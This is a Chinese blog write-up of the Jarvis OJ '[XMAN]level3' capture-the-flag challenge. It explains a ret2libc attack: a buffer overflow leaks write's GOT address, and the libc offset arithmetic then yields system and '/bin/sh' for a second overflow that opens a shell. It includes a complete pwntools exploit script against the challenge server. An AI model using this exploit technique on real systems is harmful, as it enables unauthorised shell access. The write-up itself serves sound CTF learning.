Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试
这次除了elf程序还附带一个动态链接库
先看一下,很一般的保护
思路分析
在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数
但是用ida打开附带的链接库,可以看到system函数和“/bin/sh”字符串都存在
于是思路就确定为read函数溢出->system函数,同时加入参数“/bin/sh”
通过libc.so文件可以得到write、system和/bin/sh的偏移,但system和/bin/sh在内存的地址是未知的
函数在内存中地址为func_addr,在libc中偏移为func_libc则有
sys_addr - sys_libc == write_addr - write_libc
所以我们可以通过泄露write函数的地址,利用函数在内存中的地址和libc文件中的偏移的差相等,获得system的地址
构造下图栈帧,溢出目标为system("/bin/sh"),获取shell
方法论
要利用偏移相等获得system和bin的地址,首先要泄露得到write的真实地址
可以通过打印write在got表中的地址,获取其真实地址
所以首先要输出write_got所对应的地址
所以先构造下图栈帧,先通过溢出write函数打印write_got
再返回到vuln函数再次执行read,实现二次溢出到system,最终获取shell
exp
#!usr/bin/env python
# encoding:utf-8
from pwn import * #io = process("./level3")
io = remote("pwn2.jarvisoj.com",9879)
elf = ELF("./level3") writeplt = elf.plt["write"] #plt和got都在可执行程序中
writegot = elf.got["write"]
func = elf.symbols["vulnerable_function"] libc = ELF("./libc-2.19.so")
writelibc = libc.symbols["write"] #libc中可以找到程序中有的/没有的函数的偏移
syslibc = libc.symbols["system"]
binlibc = libc.search("/bin/sh").next() payload1 = 'a' * 0x88 + 'f**k' + p32(writeplt) + p32(func) + p32(1)+p32(writegot)+p32(4) #溢出地址+返回地址+参数 io.recvuntil("Input:\n")
io.sendline(payload1) writeaddr = u32(io.recv(4)) #由于python没有指针,不能*write_got,需要将其输出并保存
sysaddr = writeaddr - writelibc + syslibc #利用偏移量相等获得其真实地址
binaddr = writeaddr - writelibc + binlibc payload2 = 'a' * 0x88 + 'f**k' + p32(sysaddr) + p32(func) + p32(binaddr)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
io.close()
补充
经@M4X学长提醒,本地运行时优先装在本地系统中的libc库,导致实际装载库并非
造成本地地址错误,但是远程没问题
可以首先进行if判断,链接不同的库解决
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;
Jarvis OJ - [XMAN]level3 - Writeup——ret2libc尝试的更多相关文章
- Jarvis OJ - [XMAN]level1 - Writeup
Jarvis OJ - [XMAN]level1 - Writeup M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html 题目: 分 ...
- Jarvis OJ - [XMAN]level2 - Writeup
简单利用"/bin/sh"夺权 简单看一下 放到ida中发现了"/bin/sh"串,和system函数,可以利用== 所以只要在vuln函数返回时跳转到syst ...
- Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用
100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode, ...
- Jarvis OJ - [XMAN]level0 - Writeup
差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼 分析一下,checksec 查看程序的各种保护机制 没有金丝雀,没有pie 执行时输出Hello,World,在进行输入,溢出嘛 开工 丢到id ...
- Jarvis OJ - 爬楼梯 -Writeup
Jarvis OJ - 爬楼梯 -Writeup 本来是想逆一下算法的,后来在学长的指导下发现可以直接修改关键函数,这个题做完有种四两拨千斤的感觉,记录在这里 转载请标明出处:http://www.c ...
- jarvis OJ WEB题目writeup
0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...
- Jarvis OJ [XMAN]level1 write up
首先 老规矩,把软件拖到Ubuntu里checksec一下文件 然后知道了软件位数就放到IDA32里面... 熟悉的函数名... 缘真的妙不可言... 然后看了下vulnerable_function ...
- jarvis OJ部分writeup
[XMAN]level 0 [XMAN]level 1 —— 简单shellcode利用 [XMAN]level 2 [XMAN]level 3 —— ret2libc尝试 [XMAN]level2& ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
随机推荐
- linux中的权限
第1章 显示或设置网络相关信息 1.1 ip address 与ifconfig 类似 [root@znix ~]# ip address 1: lo: <LOOPBACK,UP,LOWER_U ...
- 软硬链接、文件删除原理、linux中的三种时间、chkconfig优化
第1章 软硬链接 1.1 硬链接 1.1.1 含义 多个文件拥有相同的inode号码 硬链接即文件的多个入口 1.1.2 作用 防止你误删除文件 1.1.3 如何创建硬链接 ln 命令,前面是源文件 ...
- JSON相关知识整理
JSON 全称:JavaScript Object Notation ,一种轻量级的数据交换格式 示例:{"name":"eric","age&q ...
- ASP.NET Core 异常处理与日志记录
1. ASP.NET Core 异常处理与日志记录 1.1. 异常处理 1.1.1. 异常产生的原因及处理 1.1.2. ASP.NET Core中启动开发人员异常页面 1.2. 日志记录 1.2.1 ...
- SQL命令语句小技巧
1.[ ]的使用 当我们所要查的表是系统关键字或者表名中含有空格时,需要用[]括起来,例如新建了两个表,分别为user,user info,那么select * from user和select * ...
- c#DES加密解密代码
//加密 public string DesEncrypt(string strText, string strEncrKey) { byte[] byKey=null; byte[ ...
- FPGA FIFO深度计算
转自:http://comm.chinaaet.com/adi/blogdetail/37555.html 首先,一定要理解清楚FIFO的应用场景,这个会直接关系到FIFO深度的计算,如果是面试官抛出 ...
- 通过ELK快速搭建一个你可能需要的集中化日志平台
在项目初期的时候,大家都是赶着上线,一般来说对日志没有过多的考虑,当然日志量也不大,所以用log4net就够了,随着应用的越来越多,日志散 落在各个服务器的logs文件夹下,确实有点不大方便,这个时候 ...
- 通用Adapter设计,SparseArray+泛型+回调的使用
看到题目,我相信聪明的各位已经有一定想法了. 一个Adapter,最简单的优化就是使用泛型,他可以省去非常多的代码,不过在此之上,我们还可以继续优化,优化他的好基友是:ViewHolder. 在过去, ...
- 【续】抓个Firefox的小辫子,jQuery表示不背这黑锅,Chrome,Edge,IE8-11继续围观中
引子 昨天我发了一篇文章[抓个Firefox的小辫子,围观群众有:Chrome.Edge.IE8-11],提到了一个Firefox很多版本都存在的问题,而相同的测试页面在Chrome.Edge.IE8 ...